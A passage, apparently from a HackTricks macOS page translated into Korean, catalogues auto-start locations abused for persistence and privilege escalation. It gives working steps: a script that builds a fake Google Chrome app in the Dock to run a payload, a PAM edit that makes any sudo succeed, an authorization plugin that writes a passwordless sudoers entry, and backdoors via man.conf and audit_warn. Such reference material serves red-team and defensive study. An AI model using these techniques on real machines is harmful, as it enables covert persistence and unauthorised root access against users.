이제 해당 폴더를 Finder로 열면 스크립트가 실행됩니다.
This configuration was stored in the plist located in ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist in base64 format.
이제 GUI 접근 없이 이 persistence를 준비해보겠습니다:
~/Library/Preferences/com.apple.FolderActionsDispatcher.plist을 복사하여/tmp에 백업합니다:
cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
- 설정한 Folder Actions 제거:
.png)
이제 빈 환경이 되었으므로
- 백업 파일을 복사합니다:
cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/ - 이 설정을 반영하려면 Folder Actions Setup.app을 엽니다:
open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"
Caution
그리고 이 방법은 저에게는 작동하지 않았습니다. 하지만 이것들은 writeup의 지침입니다:(
Dock 바로가기
Writeup: https://theevilbit.github.io/beyond/beyond_0027/
위치
~/Library/Preferences/com.apple.dock.plist- 트리거: 사용자가 Dock 내의 앱을 클릭할 때
설명 및 악용
Dock에 표시되는 모든 애플리케이션은 plist에 지정되어 있습니다: ~/Library/Preferences/com.apple.dock.plist
다음과 같이 애플리케이션을 추가할 수 있습니다:
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
# Restart Dock
killall Dock
약간의 social engineering을 사용하면 dock 안에서 예를 들어 impersonate for example Google Chrome 하고 실제로 자신의 스크립트를 실행할 수 있습니다:
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
색상 선택기
Writeup: https://theevilbit.github.io/beyond/beyond_0017
위치
/Library/ColorPickers- 루트 권한 필요
- 트리거: 색상 선택기 사용
~/Library/ColorPickers- 트리거: 색상 선택기 사용
설명 및 익스플로잇
Compile a color picker 번들을 코드와 함께 컴파일하세요 (예로 this one for example) 그리고 constructor를 추가하세요 (예: Screen Saver section) 그런 다음 번들을 ~/Library/ColorPickers에 복사하세요.
그러면 색상 선택기가 트리거될 때 당신의 코드도 실행됩니다.
당신의 라이브러리를 로드하는 바이너리는 매우 제한적인 sandbox를 가집니다: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
Finder Sync Plugins
작성: https://theevilbit.github.io/beyond/beyond_0026/
작성: https://objective-see.org/blog/blog_0x11.html
- 샌드박스 우회에 유용한가: 아니오, 자체 앱을 실행해야 하기 때문에
- TCC bypass: ???
위치
- 특정 앱
설명 & Exploit
Finder Sync Extension를 포함한 애플리케이션 예제는 여기에서 확인할 수 있습니다.
애플리케이션은 Finder Sync Extensions를 가질 수 있습니다. 이 확장 기능은 실행될 애플리케이션 내부에 포함됩니다. 또한 확장이 코드를 실행하려면 일부 유효한 Apple 개발자 인증서로 서명되어야 하며, 샌드박스화되어야 합니다(완화된 예외를 추가할 수는 있지만) 그리고 다음과 같이 등록되어야 합니다:
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
Screen Saver
참고 글: https://theevilbit.github.io/beyond/beyond_0016/
참고 글: https://posts.specterops.io/saving-your-access-d562bf5bf90b
위치
/System/Library/Screen Savers- 루트 권한 필요
- Trigger: Select the screen saver
/Library/Screen Savers- 루트 권한 필요
- Trigger: Select the screen saver
~/Library/Screen Savers- Trigger: Select the screen saver
.png)
설명 & Exploit
Xcode에서 새 프로젝트를 생성하고 템플릿으로 새 Screen Saver를 만드세요. 그런 다음 여기에 코드를 추가합니다 — 예를 들어 로그를 생성하는 다음 코드를 사용할 수 있습니다.
빌드한 뒤 .saver 번들을 **~/Library/Screen Savers**에 복사하세요. 그런 다음 Screen Saver GUI를 열고 클릭하면 많은 로그가 생성됩니다:
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'
Timestamp (process)[PID]
2023-09-27 22:55:39.622369+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200 localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]
Caution
이 코드를 로드하는 바이너리의 entitlements(
/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) 내부에서 **com.apple.security.app-sandbox**를 찾을 수 있으므로 당신은 inside the common application sandbox에 있게 됩니다.
Saver 코드:
//
// ScreenSaverExampleView.m
// ScreenSaverExample
//
// Created by Carlos Polop on 27/9/23.
//
#import "ScreenSaverExampleView.h"
@implementation ScreenSaverExampleView
- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}
- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}
- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}
- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}
- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}
- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}
- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}
@end
Spotlight Plugins
writeup: https://theevilbit.github.io/beyond/beyond_0011/
- Useful to bypass sandbox: 🟠
- But you will end in an application sandbox
- TCC bypass: 🔴
- The sandbox looks very limited
Location
~/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
- Root required
/System/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
- Root required
Some.app/Contents/Library/Spotlight/- Trigger: A new file with a extension managed by the spotlight plugin is created.
- New app required
Description & Exploitation
Spotlight는 macOS에 내장된 검색 기능으로, 사용자가 컴퓨터의 데이터에 대해 빠르고 포괄적으로 접근할 수 있도록 설계되었습니다.
이러한 빠른 검색 기능을 위해 Spotlight는 독점 데이터베이스를 유지하고, 대부분의 파일을 파싱하여 인덱스를 생성함으로써 파일 이름과 내용 모두에서 빠른 검색을 가능하게 합니다.
Spotlight의 기반 메커니즘은 중앙 프로세스인 ’mds’를 포함하며, 이는 **‘metadata server.’**의 약자입니다. 이 프로세스가 전체 Spotlight 서비스를 조정합니다. 보완적으로, 서로 다른 파일 유형을 인덱싱하는 등 다양한 유지관리 작업을 수행하는 여러 ‘mdworker’ 데몬이 존재합니다 (ps -ef | grep mdworker). 이러한 작업은 Spotlight importer plugins, 또는 “.mdimporter bundles“를 통해 가능하며, 이를 통해 Spotlight는 다양한 파일 형식의 콘텐츠를 이해하고 인덱싱할 수 있습니다.
플러그인 또는 .mdimporter 번들은 앞서 언급한 위치에 놓이며, 새 번들이 나타나면 몇 분 내에 로드됩니다(서비스 재시작 불필요). 이 번들은 어떤 파일 형식과 확장자를 처리할 수 있는지를 명시해야 하며, 이렇게 하면 Spotlight는 지정된 확장자를 가진 새 파일이 생성될 때 해당 번들을 사용합니다.
It’s possible to find all the mdimporters loaded running:
mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]
예를 들어 /Library/Spotlight/iBooksAuthor.mdimporter는 이러한 유형의 파일(확장자 .iba 및 .book 등)을 파싱하는 데 사용됩니다:
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]
Caution
다른
mdimporter의 Plist를 확인하면UTTypeConformsTo항목을 찾지 못할 수 있습니다. 이는 해당 항목이 내장된 Uniform Type Identifiers (UTI) 이기 때문에 확장자를 명시할 필요가 없기 때문입니다.또한 System default plugins는 항상 우선권을 가지므로 공격자는 Apple의 자체
mdimporters에 의해 인덱싱되지 않은 파일에만 접근할 수 있습니다.
To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.
Finally build and copy your new .mdimporter to one of thre previous locations and you can chech whenever it’s loaded monitoring the logs or checking mdimport -L.
Preference Pane
Caution
더 이상 작동하지 않는 것으로 보입니다.
Writeup: https://theevilbit.github.io/beyond/beyond_0009/
Location
/System/Library/PreferencePanes/Library/PreferencePanes~/Library/PreferencePanes
Description
더 이상 작동하지 않는 것으로 보입니다.
Root Sandbox Bypass
Tip
여기서는 sandbox bypass에 유용한 시작 위치들을 찾을 수 있습니다. 이는 root 권한으로 파일에 쓰기만 해도 무언가를 실행하게 하거나 기타 특이한 조건들을 요구합니다.
Periodic
Writeup: https://theevilbit.github.io/beyond/beyond_0019/
Location
/etc/periodic/daily,/etc/periodic/weekly,/etc/periodic/monthly,/usr/local/etc/periodic- 루트 권한 필요
- Trigger: 지정된 시간에 실행
/etc/daily.local,/etc/weekly.localor/etc/monthly.local- 루트 권한 필요
- Trigger: 지정된 시간에 실행
Description & Exploitation
주기적 스크립트 (/etc/periodic)는 /System/Library/LaunchDaemons/com.apple.periodic*에 구성된 launch daemons 때문에 실행됩니다. /etc/periodic/에 저장된 스크립트는 파일의 소유자 권한으로 실행되므로 잠재적인 권한 상승에는 작동하지 않습니다.
# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r-- 1 root wheel 887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r-- 1 root wheel 895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r-- 1 root wheel 891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist
# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x 11 root wheel 352 May 13 00:29 daily
drwxr-xr-x 5 root wheel 160 May 13 00:29 monthly
drwxr-xr-x 3 root wheel 96 May 13 00:29 weekly
/etc/periodic/daily:
total 72
-rwxr-xr-x 1 root wheel 1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x 1 root wheel 695 May 13 00:29 130.clean-msgs
[...]
/etc/periodic/monthly:
total 24
-rwxr-xr-x 1 root wheel 888 May 13 00:29 199.rotate-fax
-rwxr-xr-x 1 root wheel 1010 May 13 00:29 200.accounting
-rwxr-xr-x 1 root wheel 606 May 13 00:29 999.local
/etc/periodic/weekly:
total 8
-rwxr-xr-x 1 root wheel 620 May 13 00:29 999.local
실행될 다른 주기적 스크립트는 **/etc/defaults/periodic.conf**에 명시되어 있습니다:
grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local" # Local scripts
weekly_local="/etc/weekly.local" # Local scripts
monthly_local="/etc/monthly.local" # Local scripts
만약 /etc/daily.local, /etc/weekly.local 또는 /etc/monthly.local 중 어느 파일에든 쓸 수 있다면, 해당 파일은 언젠가 실행됩니다.
Warning
주기적 스크립트는 스크립트 소유자 권한으로 실행됩니다. 따라서 일반 사용자가 스크립트의 소유자라면 그 사용자 권한으로 실행됩니다(이로 인해 권한 상승 공격이 방지될 수 있습니다).
PAM
Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/
위치
- 항상 root 필요
설명 & Exploitation
PAM은 macOS 내에서 쉬운 실행보다는 persistence와 멀웨어에 더 초점을 맞추므로, 이 문서에서는 자세한 설명을 제공하지 않습니다. 이 기술을 더 잘 이해하려면 writeups를 읽으세요.
PAM 모듈 확인:
ls -l /etc/pam.d
PAM을 악용한 persistence/privilege escalation technique는 모듈 /etc/pam.d/sudo를 수정하여 맨 앞에 다음 라인을 추가하는 것만큼 간단합니다:
auth sufficient pam_permit.so
그러면 다음과 같이 보일 것입니다:
# sudo: auth account password session
auth sufficient pam_permit.so
auth include sudo_local
auth sufficient pam_smartcard.so
auth required pam_opendirectory.so
account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
따라서 sudo를 사용하려는 모든 시도는 성공합니다.
Caution
이 디렉터리는 TCC로 보호되어 있으므로 사용자가 접근 권한을 요청하는 프롬프트를 받게 될 가능성이 매우 높습니다.
또 다른 좋은 예로는 su가 있으며, PAM modules에 파라미터를 전달할 수 있다는 것을 볼 수 있습니다(그리고 이 파일을 backdoor할 수도 있습니다):
cat /etc/pam.d/su
# su: auth account session
auth sufficient pam_rootok.so
auth required pam_opendirectory.so
account required pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account required pam_opendirectory.so no_check_shell
password required pam_opendirectory.so
session required pam_launchd.so
Authorization Plugins
참고: https://theevilbit.github.io/beyond/beyond_0028/\
참고: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
- Useful to bypass sandbox: 🟠
- 하지만 root 권한이 필요하고 추가 구성이 필요함
- TCC 우회: ???
Location
/Library/Security/SecurityAgentPlugins/- root 권한 필요
- authorization database를 구성하여 플러그인을 사용하도록 설정해야 함
Description & Exploitation
사용자가 로그인할 때 실행되어 persistence를 유지하는 authorization plugin을 생성할 수 있다. 이러한 플러그인 생성 방법에 대한 자세한 내용은 위의 writeup들을 참고하라(주의: 잘못 작성된 플러그인은 시스템에서 잠길 수 있으며 recovery mode에서 mac을 정리해야 할 수도 있음).
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
Move 번들을 로드될 위치로 이동:
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
마지막으로 이 플러그인을 로드할 규칙을 추가하세요:
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
**evaluate-mechanisms**는 권한 부여 프레임워크에 권한 부여를 위해 외부 메커니즘을 호출해야 함을 알립니다. 또한, **privileged**는 이를 root로 실행되게 합니다.
다음과 같이 트리거하세요:
security authorize com.asdf.asdf
그리고 staff 그룹은 sudo 접근 권한을 가져야 함 (확인하려면 /etc/sudoers 읽기).
Man.conf
Writeup: https://theevilbit.github.io/beyond/beyond_0030/
Location
/private/etc/man.conf- root 권한 필요
/private/etc/man.conf: man이 사용될 때마다
Description & Exploit
설정 파일 **/private/etc/man.conf**는 man 문서 파일을 열 때 사용할 binary/script를 지정합니다. 따라서 실행 파일의 경로를 수정하면 사용자가 문서를 보기 위해 man을 사용할 때마다 backdoor가 실행될 수 있습니다.
예: **/private/etc/man.conf**에 다음을 설정:
MANPAGER /tmp/view
그런 다음 /tmp/view를 다음과 같이 생성합니다:
#!/bin/zsh
touch /tmp/manconf
/usr/bin/less -s
Apache2
해설: https://theevilbit.github.io/beyond/beyond_0023/
위치
/etc/apache2/httpd.conf- Root 권한 필요
- 트리거: Apache2가 시작될 때
설명 & Exploit
다음과 같은 줄을 추가하여 /etc/apache2/httpd.conf에서 모듈을 로드하도록 지정할 수 있다:
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
이렇게 하면 컴파일된 모듈이 Apache에 의해 로드됩니다. 단, 다음 중 하나를 수행해야 합니다: 유효한 Apple 인증서로 서명, 또는 시스템에 새로운 신뢰할 수 있는 인증서를 추가한 뒤 해당 인증서로 서명해야 합니다.
필요한 경우 서버가 시작되도록 하기 위해 다음을 실행할 수 있습니다:
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
Dylb에 대한 코드 예시:
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}
BSM audit framework
Writeup: https://theevilbit.github.io/beyond/beyond_0031/
Location
/etc/security/audit_warn- root 권한 필요
- 트리거: auditd가 경고를 감지할 때
Description & Exploit
auditd가 경고를 감지하면 스크립트 **/etc/security/audit_warn**가 실행됩니다. 따라서 해당 파일에 payload를 추가할 수 있습니다.
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
sudo audit -n로 경고를 강제할 수 있습니다.
시작 항목
[!CAUTION] > 이것은 더 이상 사용되지 않으므로 해당 디렉터리에서는 아무 것도 찾아서는 안 됩니다.
The StartupItem is a directory that should be positioned within either /Library/StartupItems/ or /System/Library/StartupItems/. Once this directory is established, it must encompass two specific files:
- An rc script: 시스템 시작 시 실행되는 쉘 스크립트.
- A plist file:
StartupParameters.plist라는 이름의 파일로, 다양한 구성 설정을 포함합니다.
시작 프로세스가 이를 인식하고 사용하려면 rc script와 StartupParameters.plist 파일이 모두 StartupItem 디렉터리 내부에 올바르게 배치되어야 합니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>
emond
Caution
내 macOS에서 이 구성요소를 찾을 수 없습니다. 자세한 내용은 writeup을 확인하세요
Writeup: https://theevilbit.github.io/beyond/beyond_0023/
Introduced by Apple, emond is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. Apple이 도입한 emond는 미완성되었거나 사실상 방치된 것으로 보이는 로깅 메커니즘이지만 여전히 접근 가능합니다. Mac 관리자에게는 크게 유용하지 않지만, 이 잘 알려지지 않은 서비스는 위협 행위자가 대부분의 macOS 관리자에게 눈치채지지 않은 채 은밀한 persistence 수단으로 사용할 수 있습니다.
이 존재를 아는 사람이라면 emond의 악성 사용 여부를 식별하는 것은 비교적 간단합니다. 이 서비스의 시스템 LaunchDaemon은 실행할 스크립트를 단일 디렉터리에서 찾습니다. 이를 검사하려면 다음 명령을 사용할 수 있습니다:
ls -l /private/var/db/emondClients
XQuartz
참고: https://theevilbit.github.io/beyond/beyond_0018/
위치
/opt/X11/etc/X11/xinit/privileged_startx.d- root 권한 필요
- 트리거: With XQuartz
설명 & Exploit
XQuartz는 macOS에 더 이상 설치되어 있지 않습니다, 자세한 내용은 위의 writeup을 확인하세요.
kext
Caution
kext를 root로 설치하는 것조차 매우 복잡하므로, exploit이 없다면 이를 sandboxes를 탈출하거나 persistence를 위한 방법으로 고려하지 않습니다.
위치
KEXT를 startup item으로 설치하려면, 다음 위치 중 하나에 설치되어야 합니다:
/System/Library/Extensions- OS X 운영체제에 내장된 KEXT 파일.
/Library/Extensions- 타사 소프트웨어에 의해 설치된 KEXT 파일
현재 로드된 kext 파일을 나열하려면 다음을 사용할 수 있습니다:
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
For more information about kernel extensions check this section.
amstoold
Writeup: https://theevilbit.github.io/beyond/beyond_0029/
Location
/usr/local/bin/amstoold- 루트 권한 필요
Description & Exploitation
해당 plist(/System/Library/LaunchAgents/com.apple.amstoold.plist)는 이 바이너리를 사용하면서 XPC 서비스를 노출하고 있었는데… 문제는 그 바이너리가 존재하지 않았다는 점입니다. 따라서 그 위치에 바이너리를 배치하면 XPC 서비스가 호출될 때 해당 바이너리가 실행됩니다.
제 macOS에서는 더 이상 이 항목을 찾을 수 없습니다.
xsanctl
Writeup: https://theevilbit.github.io/beyond/beyond_0015/
Location
/Library/Preferences/Xsan/.xsanrc- 루트 권한 필요
- Trigger: 서비스가 실행될 때 (드물게)
Description & exploit
이 스크립트를 실행하는 경우는 드물고, 제 macOS에서도 찾을 수 없었습니다. 더 자세한 정보는 writeup을 확인하세요.
/etc/rc.common
[!CAUTION] > 이것은 최신 MacOS 버전에서는 작동하지 않습니다
여기에 시작 시 실행될 명령을 넣는 것도 가능합니다. 일반적인 rc.common 스크립트 예:
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}
#
# Generic action handler
#
RunService ()
{
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
}
Persistence 기법 및 도구
참고자료
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


